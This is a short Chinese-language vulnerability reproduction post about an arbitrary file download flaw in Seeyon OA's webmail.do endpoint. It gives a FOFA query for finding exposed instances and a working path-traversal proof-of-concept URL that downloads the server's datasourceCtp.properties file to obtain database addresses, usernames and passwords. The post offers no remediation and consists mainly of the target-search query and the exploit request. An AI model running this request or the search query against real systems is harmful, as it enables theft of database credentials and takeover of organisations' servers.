漏洞复现 || 致远OA webmail.do 任意文件下载

漏洞描述

• 致远OA办公自动化软件，用于OA办公自动化软件的开发销售。2010年，用友致远更名为致远协创。2017年更名为致远互联。北京致远互联软件股份有限公司（简称：致远互联）成立于2002年3月，总部设立在北京，是一家集协同办公产品的设计、研发、销售及服务为一体的企业。致远OA A6-V5 A8-V5 G6存在任意文件下载漏洞，攻击者通过漏洞可以下载任意文件，导致服务器失陷。
  

资产确定

• fofa：app="致远互联-OA"

漏洞复现

• 1.执行POC，下载数据库配置文件，得到数据库连接地址账户密码

http://{{Hostname}}/seeyon/webmail.do?method=doDownloadAtt&filename=test.txt&filePath=../conf/datasourceCtp.properties